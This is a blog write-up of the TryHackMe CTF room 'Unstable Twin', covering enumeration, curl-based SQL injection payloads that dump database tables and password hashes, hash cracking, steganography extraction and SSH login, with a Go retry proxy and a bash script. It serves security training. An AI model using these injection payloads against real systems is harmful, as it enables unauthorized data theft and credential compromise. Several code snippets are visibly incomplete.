May 3, 2021

Unstable Twins - A tryhackme CTF challenge

This is a writeup on the tryhackme CTF challenge "Unstable Twin".

This is a CFT challenge released on The description of Unstable Twin reads as follows:

Based on the Twins film, find the hidden keys.

Julius and Vincent have gone into the SERVICES market to try and get the family back together.
They have just deployed a new version of their code, but Vincent has messed up the deployment!

Can you help their mother find and recover the hidden keys and bring the family and girlfriends back together?

Mother's Day is coming up - Let's do this!


I usually start my enumeration by adding a hosts entry for my target, followed by a nmap scan:

cat >> /etc/hosts << "EOF" twin.thm


# Nmap 7.91 scan initiated Sat May  1 00:01:29 2021 as: nmap -A -sV -sC -v -v -p1-65535 -Pn -oN twin.nmap twin.thm
adjust_timeouts2: packet supposedly had rtt of -169550 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -169550 microseconds.  Ignoring time.
Nmap scan report for twin.thm (
Host is up, received user-set (0.030s latency).
rDNS record for twin
Scanned at 2021-05-01 00:01:29 CEST for 166s
Not shown: 65533 filtered ports
Reason: 65377 no-responses and 156 admin-prohibiteds
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP/bNr/nN/6PCa1yFPjA11XH0aZeVg2OMFGyxF3iCBim97a/vA33LYCnDGh7jjSP+wEzu2Xh6whOuRU147tRglKgXMVqMx7GIfBKp92pPnePbCQi6Qy9Sp1hJCIK9Ik2qzYbVOHr6vSJVRGKdZuCDrqip67tHPJSqtDKvuTS8PTcWav17y0IhBrcU2KoGptwml4I/j3RO/aVYblAEKMH0tn9vy59tokTm0CoPXjZCH7KJfL87YAdyacAA6FB2DIFEupf56qGoGNUP9v7AMaF6Uj/5ywDduik/YOdvBR7AVlX2IOaAu4yLRWIh9S4XvlzCB3N+UyQmXRKSzcSyhKXIRJYidCs0SwhCTF+umbmtMAfHghLBz4pkLbhbqrVqkf0GA8wKyG9rX6LSUl6/SwhtAeFPIQxnnP6OHxrcKHy4BooCVNpur5fkioel5VHO90cK0xzlPWGJ8P4HOnDRmLWpyBAmmPjY8BHNB4rLccZLz1e648h7Zs9sFvhjJD8ONgW0=
|   256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH7P2OEvegGP6MfdwJdgVn3xIYEH6LXyzBs5hQ5fPpMZDZdHo5a6J2HR+KShaslzYk83WGNBSJt+hQUGv0Kr+Hs=
|   256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN0pHtBDjHWNJSlxl5M/LfHJztN6HJzi30Ygi1ysEOJN
80/tcp open  http    syn-ack ttl 63 nginx 1.14.1
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 3.13 (91%), Crestron XPanel control system (89%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.16 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%), Linux 5.4 (85%), Linux 2.6.32 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:

Uptime guess: 26.939 days (since Sun Apr  4 01:31:50 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 22/tcp)
1   23.76 ms ip.addr.of.gateway
2   23.84 ms twin (

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Sat May  1 00:04:15 2021 -- 1 IP address (1 host up) scanned in 167.08 seconds

As there is a webservice running on port 80, I start gobuster for further enumeration.

Webservice - gobuster

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://twin.thm:80
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/05/01 00:14:43 Starting gobuster in directory enumeration mode
/info                 (Status: 200) [Size: 160]
/get_image            (Status: 500) [Size: 291]
2021/05/01 01:09:32 Finished


Returns 500. Leaving for now.


Looking at the HTTP headers, I notice that two parameters keep rotating

request headers
1 Build Number: ${RETRACTED}, Server Name: Vincent
2 Build Number: ${RETRACTED}, Server Name: Julias
3 Build Number: ${RETRACTED}, Server Name: Vincent
4 Build Number: ${RETRACTED}, Server Name: Julias

Following our adventure, we will realize that one of those services is quite unstable, hence the name of the room, I guess. Save the build numbers for later, you will need those for answering one of the room questions.

Besides that, the endpoint returns the message "The login API needs to be called with the username and password form fields fields. It has not been fully tested yet so may not be full developed and secure".
Playing with this information, I found the endpoint /api/login, and fiddling around with the parameters I came up with

$ curl -X POST http://twin.thm/api/login --data "username='+UNION+SELECT+username,password+FROM+users--"  
    "Yellow "

Nice! Lets sqlmap that endpoint.

SQL injection


When I manually enumerated the api endpoint, I realized that there are two different services in place.
At this point, the unstable twin became quite annoying, because sqlmap couldn't reliably even recognize the database backend, so I decided to write a small proxy to get rid of the faulty messages.


This proxy checks the response of the server. If it is the faulty one, it resends the request. That's all :-)

package main

import (


var HttpClient = http.Client{}

func Router() *mux.Router {
    router := mux.NewRouter()
    router.HandleFunc("/api/login", handler).Methods("POST")

    return router

func handler(w http.ResponseWriter, req *http.Request) {
    body, err := ioutil.ReadAll(req.Body)
    defer req.Body.Close()
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)

    req.Body = ioutil.NopCloser(bytes.NewReader(body))
    resp := send(body, req)
    defer resp.Body.Close()

    if checkbadresponse(resp) {
        fmt.Println("ignoring bad response")
        retry := send(body, req)
        defer retry.Body.Close()

        result, _ := ioutil.ReadAll(retry.Body)
    result, _ := ioutil.ReadAll(resp.Body)

func checkbadresponse(resp *http.Response) bool {
    body, _ := ioutil.ReadAll(resp.Body)
    response := string(body)

    return strings.Contains(response, "The username or password passed are not correct.")


func send(body []byte, req *http.Request) *http.Response {
    url := fmt.Sprintf("%s://%s%s", "http", "twin.thm", "/api/login")
    proxyReq, _ := http.NewRequest(req.Method, url, bytes.NewReader(body))

    proxyReq.Header = req.Header
    resp, _ := HttpClient.Do(proxyReq)
    return resp

func main() {
    router := Router()
    fmt.Println("go forth and enumerate");
    log.Fatal(http.ListenAndServe(":57687", router))

manual enumeration

Unfortunately, sqlmap still was not able to extract the information I wanted, but nevertheless supplied me with valid information, like the Database backend being SQLite. It identified tables correctly, but, however, was unable to get the contents of those tables.

Therefore, I decided to go the manual route, which also turned out to be much faster than spending quite the amount of time trying to get sqlmap to ignore certain requests and finally ending up writing a poor-man's proxy for that matter (I used this excellent SQLite SQLi Cheatsheet.)

### get names and sql create statement for the defined tables
curl -X POST http://twin.thm/api/login --data "username='+UNION+SELECT+name,sql+FROM+sqlite_master+WHERE+type='table'--+-"
    "CREATE TABLE \"notes\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"user_id\"\tINTEGER,\n\t\"note_sql\"\tINTEGER,\n\t\"notes\"\tTEXT,\n\tPRIMARY KEY(\"id\")\n)"
    "CREATE TABLE sqlite_sequence(name,seq)"
    "CREATE TABLE \"users\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"username\"\tTEXT NOT NULL UNIQUE,\n\t\"password\"\tTEXT NOT NULL UNIQUE,\n\tPRIMARY KEY(\"id\" AUTOINCREMENT)\n)"
### get data from the notes table
curl -X POST http://twin.thm/api/login --data "username='+UNION+SELECT+user_id,notes+FROM+notes--+-"
    "I have left my notes on the server.  They will me help get the family back together. "
    "My Password is ${RETRACTED}\n"

Well, that took about 2 Minutes. Having spent about 30minutes researching how to teach sqlmap to ignore certain requests, that was both a nice and a pretty bad feeling :-)

Next step was to identify the hashtype, cross fingers and hope for a matching entry in rockyou.

hash-id -e -m '${RETRACTED}'
Analyzing '${RETRACTED}'
[+] SHA-512 [Hashcat Mode: 1700]
[+] Whirlpool [Hashcat Mode: 6100]
### cracking
hashcat -m 1700 -a 0 hash /usr/share/wordlist/rockyou.txt

The hash can be cracked relatively easy and fast. Weaponized with the collected information, it is time to gather the flags.

Gather the Flags

/get_image - return

The instant 500 made me suspicious, since both services returned the error. Could it be that a messy script ended up in both services? By trying a bunch of the usual GET parameters, I get a 404 with the parameter ?name. Reusing the names we found earlier, I found pictures of each family member. Being curious regarding jpeg files, I decide to take a quick look on those as well.
Neither exiftool nor binwalk found someting obvious, however, stegseek was able to extract a hidden message on each picture using an empty password.

The message retrieved from mary_ann's picture tells us to put the messages in the order of the rainbow (red, orange, yellow, green). Following that instruction, you receive an encoded string. I put this into Cyberchef and used BASE62(!) decoding to get
You have found the final flag ${RETRACTED}

Oops... That was supposed to come later, I guess ¯\_(ツ)_/¯

automating hash retrieval

This bash script automates the hash retrieval process


get_image() {
  /usr/bin/curl -s http://twin.thm/get_image?name=${1} -o ${1}.jpg
  type=$(file ${1}.jpg)

  if [[ "${type}" == "${1}.jpg: empty" ]]; then
    get_image $1

extract_data() {
  /usr/bin/steghide extract -q -p "" -sf ./${1}.jpg -xf ./${1}.txt

build_hash() {
  echo "Put following hash into Cyberchef."
  for name in {julias,vincent,marnie,linda}; do
    NEXTPART=$(/usr/bin/cat ${name}.txt | /usr/bin/awk '{print $3}')
  echo ""
  echo "Base62 encoded hash: ${PWHASH}"
  echo ""

printf '\33[H\33[2J'
echo "----------------------------"
echo "Annoying Twin Flag Retrieval"
echo "----------------------------"
echo "getting required images to extract data"
for name in {julias,vincent,marnie,linda}; do
  get_image $name;
  extract_data $name;



Finally, it is time to logon via ssh with following information

username: mary_ann
password: ${RETRACTED}  # result from earlier hashcat`
[mary_ann@UnstableTwin ~]$ cat user.flag
[mary_ann@UnstableTwin ~]$ cat server_notes.txt
Now you have found my notes you now you need to put my extended family together.

We need to GET their IMAGE for the family album.  These can be retrieved by NAME.

You need to find all of them and a picture of myself!

Well, since we already did the last step, we can gather the user flag and leave that room with the great feeling that we did a good deed and reunited a happy family!


Thanks to trb143 for this nice challenge!